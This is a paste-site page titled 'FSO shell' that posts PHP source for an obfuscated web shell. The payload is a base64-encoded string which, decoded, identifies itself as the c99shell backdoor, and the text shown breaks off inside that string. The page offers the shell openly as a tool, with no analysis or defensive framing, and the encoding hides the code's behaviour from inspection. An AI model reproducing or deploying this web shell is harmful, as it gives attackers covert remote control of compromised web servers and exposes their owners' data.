FSO shell

From BX404, 1 Year ago, written in Plain Text, viewed 3'224 times. This paste is a reply to PHP uploader by BX404 from BX404 - view diff
URL http://paste.security-portal.cz/view/f54e9a0a Shorturl Error: Input provided by user is not valid Embed
Download Paste or View Raw
  1. <?php
  2. /*
  3. WEB : http://www.sh3ll.ml
  4. */
  5. $QBDB51E25BF9A7F3D2475072803D1C36D="DQovKg0KRW5jb2RlciA6IEFST0hBIFBIUGVuY29kZXIgdmVyLiAxLjA0DQpXRUIgOiBodHRwOi8vcGhwZW5jb2Rlci5hcm9oYS5zay8NCiovDQo/Pjw/DQovL2FkZCBwaHAgdGFncyBiZWZvcmUgdXNhZ2UNCi8qDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCioNCioJCQkJCWM5OXNoZWxsLnBocCB2LjEuMCBiZXRhICg/PyAyMS4wNS4yMDA1KQ0KKgkJCQkJCQlGcmVld2FyZSBsaWNlbnNlLg0KKgkJCQkJCQkJqSBDQ1RlYU0uDQoqICBjOTlzaGVsbCAtID8/Pz8tPz8/Pz8/Pz8gPz8/Pz8gd3d3LT8/Pz8/Pz8sICI/Pz8/Pz8/Pz8iID8/PyA/Pz8/Pz8uDQoqICA/PyA/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/PyA/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8gPz8/Pz8/Pz86DQogICBodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsDQoqDQoqICBXRUI6IGh0dHA6Ly9jY3RlYW0ucnUNCiogIElDUSBVSU4gIzogNjU2NTU1DQoqIA0KKiAgPz8/Pz8/Pz8/Pz86DQoqICArID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/ID8/Pz8/Pz8/Pz8gKGZ0cCwgc2FtYmEgK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